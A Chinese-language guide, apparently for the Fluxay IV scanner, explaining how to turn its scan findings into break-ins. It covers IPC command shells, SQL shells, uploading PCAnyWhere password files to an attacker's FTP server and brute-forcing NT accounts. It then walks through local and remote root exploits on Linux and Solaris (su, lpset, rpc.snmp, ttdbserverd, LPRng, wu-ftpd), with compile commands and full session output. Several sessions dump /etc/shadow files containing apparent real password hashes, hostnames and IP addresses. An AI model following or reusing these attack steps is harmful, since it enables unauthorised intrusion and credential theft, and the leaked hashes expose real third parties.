流光™IV扫描结果分析
©小榕软件实验室 1995-2001
版权所有
一、可以直接测试的部分
流光IV高级扫描完成后,会产生一个扫描报告,此外一部分扫描结果也会在界面上得到直接的反映。
1、IPC
对于IPC的扫描结果,可以直接在上面点左键,出现[连接...]字样,选择执行。
这时出现了NTCMD的界面,NTCMD如果连接成功具有System权限,可以执行命令,例如创建帐号等。关于IPC的更多信息请参见[流光2000IPC使用说明]。
2、SQL
选择[连接...]出现SQL Shell的界面。如果没有安装SQL Server,那么对方主机必须允许建立空连接才能够连接成功(默认安装Express版,所以首先需要安装SqlRcmd Normal版,在SqlRcmd\Normal中)。为了让流光IV的SQL扫描发挥最大作用,建议安装SQL Server。
通常情况下,SQLCMD具有System权限,可以执行命令。如果SQL Server是以用户身份启动,那么就具有启动用户身份的权限。
如果需要将数据库的数据导出,通常需要安装SQL Server。
3、FTP
同上述方法,流光IV会自动调用系统的FTP程序。
4、IIS Remote Execute -X
选择[连接...],出现一个设置的对话框
如果在使用中出现问题,请取消选择[允许IIS检测CMD]。
通常情况下IIS Remote Execute具有IUSR_ComputerName帐号权限。
5、Remote FTP PCAnyWhere密码文件
使用此功能必须首先拥有一个具有写权限的FTP服务器,以便流光IV将密码文件上传。
出现上传FTP服务器设置的对话框。
如果上传失败(流光IV本身不能确认是否上传成功),请选择[禁止IIS检测CMD]。
上传成功之后,就可连接到自己指定的FTP的服务器,将文件下载到本机,利用流光IV中PCAnyWhere解码工具解码。
这样就可以通过PCAnyWhere连接管理远程主机了。
6、FrontPage 扩展
如果扫描到FrontPage扩展,也可以用来暴力破解NT系统帐号(当然这种方法没有直接通过MSFTP快)。
(1)、首先通过IPC得到用户列表(具体方法参见[流光2000IPC探测说明])
(2)、加入HTTP主机
注意后面的URL不要敲错。
(3)、从IPC主机导入
(4)、选择需要探测的用户
(5)、加入字典后开始扫描
注意在HTTP的NTLM和Negotiate模式中只能开启一个线程。
7、IIS5 .Printer
可以使用IIS5Hacker测试。
二、其他部分
1、IPC种植者
如果获得了NT/2000机器的Administrators组的密码,也可以通过IPC种植者上传和执行程序(利用Schedule服务和IPC管道)。
从[工具]->[NT/IIS]->[种植者]启动程序。
设置好所需项目后,按[开始]即可上传和制定的程序(当程序复制完之后,大约需要一分钟后程序才会启动)。
2、MySQL
MySQL是UNIX中最常用的免费数据库,流光IV可以检测到MySQL的弱密码。通过MySQL的客户端程序(http://www.mysql.com)连接远程数据库即可查阅数据库的所有信息。
关于MySQL的相关信息请查阅相关资料。
三、UNIX的本地溢出
UNIX的本地溢出,需要由一个具有Shell权限的帐号,通常情况下这一帐号通过弱密码得到。弱密码可以通过FTP扫描或POP3扫描得到。
所有关于UNIX的溢出测试,均需要由一个UNIX/Linux的环境进行编译。
1、Example of RedHat 6.2 SU
通过Telnet连接到远程主机(推荐用Secure CRT,在流光IV的安装目录中有)。
Linux RedHat 6.2 Local Exploit
Kernel 2.2.14-6.1 on an i686
login: server
Password:
[server@WebServer5 server]$ vi su.c
[server@WebServer5 /tmp]$ gcc -o su su.c
[server@WebServer5 /tmp]$ ./su
su exploit by XP <xp@xtreme-power.com>
Enjoy!
Phase 1. Checking paths and write permisions
Checking for /usr/bin/msgfmt...Ok
Checking for /usr/bin/objdump...Ok
Checking write permisions on /tmp...Ok
Checking read permisions on /bin/su...Ok
Checking for a valid language... [using af_ZA] Ok
Checking that /tmp/LC_MESSAGES does not exist...Ok
Phase 2. Calculating eat and pad values
......................................................................done
eat = 120 and pad = 2
Phase 3. Creating evil libc.mo and setting enviroment
vars
Phase 4. Getting address of .dtors section of /bin/su
..........................................done
.dtors is at 0x0804bd3c
Phase 5. Compiling suid shell
/tmp/xp created Ok
Phase 6. Executing /bin/su
- Entering rootshell ;-) -
bash# id
uid=0(root) gid=0(root) groups=504(server)
bash# cat /etc/shadow
root:$1$CmIRSoFn$i6/jI1F5jOCYZK21PH3Rl1:11312:0:99999:7:-1:-1:134539268
bin:*:11288:0:99999:7:::
daemon:*:11288:0:99999:7:::
adm:*:11288:0:99999:7:::
lp:*:11288:0:99999:7:::
sync:*:11288:0:99999:7:::
shutdown:*:11288:0:99999:7:::
halt:*:11288:0:99999:7:::
mail:*:11288:0:99999:7:::
news:*:11288:0:99999:7:::
uucp:*:11288:0:99999:7:::
games:*:11288:0:99999:7:::
gopher:*:11288:0:99999:7:::
nobody:$1$YFv8hmgw$gr3suN6DxqqLUswxVJ49M.:11452:0:99999:7:-1:-1:134540196
xfs:!!:11288:0:99999:7:::
named:!!:11288:0:99999:7:::
gdm:!!:11288:0:99999:7:::
piranha:!!:11288:0:99999:7:::
pvm:!!:11288:0:99999:7:::
navy:$1$3H4IuGc7$8r3rutBAdVDtOPnVmwrTw1:11288:-1:99999:-1:-1:-1:135664172
vip:$1$hle0b0Lj$923zX.laFy.h/3r42PhwI0:11312:-1:99999:-1:-1:-1:134540356
sg:!!:11312:0:99999:7:::
intel:$1$WfhnTH3y$JDDa31e/UF2CCpcx8zFjA0:11367:0:99999:7:-1:-1:134540356
server:$1$6K.xS5bT$u0jAZWbNpq26jDA77b508/:11386:0:99999:7:-1:-1:134539252
leaf:$1$Y8k81DPb$GQa54KyUUHHdLqcQTG6Fw0:11446:0:99999:7:-1:-1:134540308
operator:$1$uDR7PcOE$7pl2urVWKxGCVogueZFlC0:11452:0:99999:7:-1:-1:134540332
bash#
2、Example of Sun OS Local Exploit
对于SunOS的系统同样可以用本地溢出,首先需要做的仍然是得到一个普通帐号。
用流光IV中高级扫描功能扫描某网段,其中得到这样的结果:
Finger扫描
Finger开放
得到用户列表 Login daemon bin sys zhxg gydan xumengxi zhangzheng gyd zzs zy liulang webmaster vet vet120
FTP扫描
FTP版本信息: www FTP server (SunOS 5.6) ready.
从结果可以看出,通过Sun的Finger得到了用户列表,同时主机的FTP开放,我们不妨用流光IV的FTP扫描试试。
将主机加入FTP树型列表中,这一次我们不用指定用户列表,可以直接通过Finger获得。在主机上点右键->[探测]->[Sun Solaris用户列表]。
经过简单模式探测后,得到了两个帐号。
通过ScreCRT登陆上去。
Sun Solaris 5.6 Sparc Local lpset Exploit
SunOS 5.6
login: webmaster
Password:
Last login: Fri May 18 16:50:20 from 211.101.171.222
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
ppp.hlmdptt.net.cn% uname -a
SunOS ppp.hlmdptt.net.cn 5.6 Generic_105181-16 sun4u sparc SUNW,Ultra-2
//确定系统为Sun
Solaris 2.6 Sparc
ppp.hlmdptt.net.cn% cd /tmp
ppp.hlmdptt.net.cn% ls
df.mon last_uuid llbdbase.dat ps_data speckeysd.lock
ppp.hlmdptt.net.cn% ftp xxx.xxx.xxx //从FTP服务器下载编译好的溢出程序(因为通常的Solaris默认安装没有gcc编译器)
Connected to www.netxeyes.com.
220 ProFTPD 1.2.1 Server (Virtual Hosting) [xxx.xxx.xxx]
Name (www.netxeyes.com:liujy): xxxxxxx
331 Password required for xxxxxx.
Password:
ftp> bin
200 Type set to I.
ftp> ftp> get lpset
200 PORT command successful.
150 Opening BINARY mode data connection for lpset (26148 bytes).
226 Transfer complete.
local: lpset remote: lpset
26148 bytes received in 2.1 seconds (12.13 Kbytes/s)
ftp> quit
221 Goodbye.
ppp.hlmdptt.net.cn% ls
df.mon last_uuid llbdbase.dat lpset ps_data speckeysd.lock
ppp.hlmdptt.net.cn% chmod 777 lpset
//修改文件属性为可执行
ppp.hlmdptt.net.cn% ./lpset
copyright LAST STAGE OF DELIRIUM apr 2000 poland //lsd-pl.net/
/usr/bin/lpset for solaris 2.6 2.7 sparc
FNS for files is not installed
Cannot use this command in this environment
Use: fncreate -t org command to install
#
//获得Root
四、UNIX的远程溢出
除了本地溢出之外,远程溢出也是一种常见的手段。
1、Example of Sun Solaris 5.7/5.8 Sparc RPC.snmp
RPC Scan
RPC Program ID
snmp [UDP] Sun solaris Sparc 7.0/8.0 Gain Root Shell
如果出现这样的结果,说明对方系统的RPC中存在一个snmp服务。多数的Sun Solaris 5.7/5.8都存在远程溢出。
可以利用流光IV中附带的程序进行测试。
Example of Sun Solaris 5.7 Sparc RCP.snmp
[root@codeguru /root]# gcc -o snmp snmp.c
snmp.c: In function `main':
snmp.c:181: warning: passing arg 3 of pointer to function from incompatible pointer type
snmp.c:181: warning: passing arg 4 of pointer to function from incompatible pointer type
snmp.c:181: warning: passing arg 5 of pointer to function from incompatible pointer type
[root@codeguru /root]#
./snmp xxx.xxx.xxx.xxx -v 7
copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc
adr=0x000c8f68 timeout=30 port=928 connected!
sent!
SunOS app1-stg-bk-sh 5.7 Generic_106541-09 sun4u sparc SUNW,Ultra-80
id
uid=0(root) gid=0(root)
cat /etc/shadow
root:N7lNfoCK/LVW.:11450::::::
daemon:NP:6445::::::
bin:NP:6445::::::
sys:NP:6445::::::
adm:NP:6445::::::
lp:NP:6445::::::
uucp:NP:6445::::::
nuucp:NP:6445::::::
listen:*LK*:::::::
nobody:NP:6445::::::
noaccess:NP:6445::::::
nobody4:NP:6445::::::
support:k8ecFpmVkUwDQ:11450::::::
oracle8i:68sOUP5lvdTss:11450::::::
demo:nUqGaO3SmGZr6:11209::::::
bvdemo:CW3HfM/tcoDj2:11209::::::
ib:x9Sao83hvYXyo:11450::::::
bvib:RBJrjMS5gHLFw:11450::::::
bol-ftp:/uOkO0iTpbRhg:11340::::::
iaspec:fCE/zZLpsffGU:11388::::::
bol:M95prTyCJKzog:11450::::::
sz-ftp:SwIE7UoRBG5tc:11340::::::
lads:OmM2BckxLzMLQ:11450::::::
ladsopr:SW027tVoxRjK6:11361::::::
ladsspt:*LK*:::::::
ladsbol:SjJHo6AY3iueI:11464::::::
bvbol:vAyIPXTnrYP9s:11450::::::
csj::11340::::::
lkm:eQkjbp7D5iOxY:11466::::::
guest:0cnYwPC4533Is:11415::::::
ib-ftp:Sx/4GQ.nS2Gq6:11416::::::
hychan:XlalBrtew73hE:11423::::::
sysadm:ph/7McY7xSRO6:11431::::::
xshen:CVxLVj3rTP1fo:11432::::::
xbli:fV9yTyz5Q8qdY:11432::::::
qzhu:3XLhGf7bzFWPo:11432::::::
jhtan:cXC/60E44Ojd2:11432::::::
yhpan:3Yrzw7j4D4aEk:11432::::::
sxzhou:UQcddGFe2pMpU:11450::::::
[root@codeguru /root]#
RPC.snmp只能够溢出成功一次(在重启之前)。
2、Example of Sun Solaris 5.6 Sparc RPC.ttdb
RPC Scan
RPC Program ID
ttdb [UDP] Sun solaris Sparc 7.0/8.0 Gain Root Shell
如果出现这样的结果,说明对方系统的RPC中存在一个ttdb服务。多数的Sun Solaris 5.6都存在远程溢出。
可以利用流光IV中附带的程序进行测试。
Example of Sun Solaris 2.6 (Sparc) RPC.ttdb
[root@codeguru /root]# gcc -o ttdbserver ttdbserver.c
ttdbserver.c: In function `main':
ttdbserver.c:202: warning: passing arg 3 of pointer to function from incompatible pointer type
ttdbserver.c:202: warning: passing arg 4 of pointer to function from incompatible pointer type
ttdbserver.c:202: warning: passing arg 5 of pointer to function from incompatible pointer type
[root@codeguru /root]# ./ttdbserver
xxx.xxx.xxx.xxx -v 6
copyright LAST STAGE OF DELIRIUM jul 1998 poland //lsd-pl.net/
rpc.ttdbserverd for solaris 2.3 2.4 2.5 2.5.1 2.6 sparc
adr=0xeffffaf8 timeout=10 port=1000 connected! sent!
SunOS idc1 5.6 Generic_105181-05 sun4u sparc SUNW,Ultra-1
id
uid=0(root) gid=0(root)
cat /etc/shadow
root:4LHCYj9LnG/GU:11415::::::
daemon:NP:6445::::::
bin:NP:6445::::::
sys:NP:6445::::::
adm:NP:6445::::::
lp:NP:6445::::::
smtp:NP:6445::::::
uucp:NP:6445::::::
nuucp:NP:6445::::::
listen:*LK*:::::::
nobody:NP:6445::::::
noaccess:NP:6445::::::
nobody4:NP:6445::::::
test:rLtlmW2gxKBdA:::::::
yhr:aeqB9KuKlrQ7A:::::::
3、Example of RedHat 7.0 LPD Remote Exploit
在扫描中发现有一主机是RedHat 7.0,并且LPD开放(515),就可能存在远程溢出。
Example of RedHat 7.0(Guinesss) LPD Remote Exploit
[root@codeguru /root]# gcc -o rh7 rh7.c
[root@codeguru /root]# ./rh7 xxx.xxx.xxx.xxx "brute" -t 0
+++ Security.is remote exploit for LPRng/lpd by DiGiT
+++ Exploit information
+++ Victim: 210.77.144.254
+++ Type: 0 - RedHat 7.0 - Guinesss
+++ Eip address: 0xbffff3ec
+++ Shellcode address: 0xbffff7f2
+++ Position: 300
+++ Alignment: 2
+++ Offset 0
+++ Attacking 210.77.144.254 with our format string
+++ Brute force man, relax and enjoy the ride ;>
+++ The eip_address is 0xbffff3dc
- [+] shell located on 210.77.144.254
- [+] Enter Commands at will
Linux Testserver@IDC 2.2.16-22 #1 Tue Aug 22 16:49:06 EDT 2000 i686 unknown
uid=0(root) gid=7(lp)
cat /etc/shadow
root:$1$jZG8ly2R$NB4gz4sh6hOApy4yiWU1o0:11466:0:99999:7:::
bin:*:11466:0:99999:7:::
daemon:*:11466:0:99999:7:::
adm:*:11466:0:99999:7:::
lp:*:11466:0:99999:7:::
sync:*:11466:0:99999:7:::
shutdown:*:11466:0:99999:7:::
halt:*:11466:0:99999:7:::
mail:*:11466:0:99999:7:::
news:*:11466:0:99999:7:::
uucp:*:11466:0:99999:7:::
operator:*:11466:0:99999:7:::
games:*:11466:0:99999:7:::
gopher:*:11466:0:99999:7:::
ftp:*:11466:0:99999:7:::
nobody:*:11466:0:99999:7:::
apache:!!:11466:0:99999:7:::
named:!!:11466:0:99999:7:::
xfs:!!:11466:0:99999:7:::
rpcuser:!!:11466:0:99999:7:::
rpc:!!:11466:0:99999:7:::
mailnull:!!:11466:0:99999:7:::
test:$1$gAgsH4t2$awaQQex41ADhW0mFku1Vc/:11466:0:99999:7:::
lird:$1$DO7WFJue$t/EQHFkatCEavYkeb4n.S0:11466:0:99999:7:::
r00t::11469:0:99999:7:-1:-1:134523584
xar::11469:0:99999:7:-1:-1:134523584
4、WUFTP 2.6.0 Remote Exploit
扫描中出现出现这样的结果,说明对方的FTP采用wuftp 2.6.0,并且允许匿名登陆,一般都有远程溢出。
FTP扫描
FTP版本信息: wu-2.6.0 RedHat 6.x WuFtpd 2.6.0 远程溢出 匿名
允许匿名登录
Example of WUFTP 2.6.0 Remote Exploit
[root@ppgzdev04 /tmp]# tar
-zxvf 7350wu-v5.tar.gz //首先解包
7350wu/
7350wu/7350wu.c
7350wu/common.c
7350wu/network.c
7350wu/common.h
7350wu/network.h
7350wu/Makefile
[root@ppgzdev04 /tmp]# cd 7350wu //进入解压缩后的目录
[root@ppgzdev04 7350wu]# make //编译
cc -Wall -g -c -o common.o common.c
cc -Wall -g -c -o network.o network.c
cc -Wall -g -o 7350wu 7350wu.c common.o network.o
[root@ppgzdev04 7350wu]# ./7350wu -h
xxx.xxx.xxx.xxx //执行
7350wu - wuftpd <= 2.6.0 x86/linux remote root (mass enabled)
by team teso
phase 1 - login... login succeeded
phase 2 - testing for vulnerability... vulnerable, continuing
phase 3 - finding buffer distance on stack... ##########
found: 1100 (0x0000044c)
phase 4 - finding source buffer address... ############
found: 0xbfffdd3d
phase 5 - find destination buffer address... ####
found: 0xbfffb0e0
phase 6 - calculating return address
retaddr = 0xbfffdf25
phase 7 - getting return address location
found 0xbfffd0e4
phase 8 - exploitation...
using return address location: 0xbfffd0e4
len = 510
74514211817513660947028668510222160622076404425037294968863449191234404352 3616611 1934652240
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp) //root
shell
cat /etc/shadow
root:$1$OXGqOw6H$yg9RTf7UOaBzeXPy.izAp.:11350:0:99999:7:-1:-1:134540356
bin:*:11317:0:99999:7:::
daemon:*:11317:0:99999:7:::
adm:*:11317:0:99999:7:::
lp:*:11317:0:99999:7:::
sync:*:11317:0:99999:7:::
shutdown:*:11317:0:99999:7:::
halt:*:11317:0:99999:7:::
mail:*:11317:0:99999:7:::
news:*:11317:0:99999:7:::
uucp:*:11317:0:99999:7:::
operator:*:11317:0:99999:7:::
games:*:11317:0:99999:7:::
gopher:*:11317:0:99999:7:::
ftp:*:11317:0:99999:7:::
nobody:*:11317:0:99999:7:::
xfs:!!:11317:0:99999:7:::
named:!!:11317:0:99999:7:::
postgres:!!:11317:0:99999:7:::
awl:$1$4m3CB/Oh$kA0FaQ8.P.lAKxsdWPvn20:11317:0:99999:7:-1:-1:134539276
asong:$1$gLOrMFBY$84bgt.SULcU9WqjkaFDb80:11337:0:99999:7:-1:-1:134540308
legend:$1$wj.fZ7CK$9taKrU2oVFfpaFHWSqUCw.:11350:0:99999:7:-1:-1:134540332
leaf:$1$4UWppiGU$FwPcc/LOgJEVTK89is9uy1:11365:0:99999:7:-1:-1:134540308
四、其他
由于测试击的方式多种多样,但是方法大多大同小异,例如RPC.Status、Bind等等。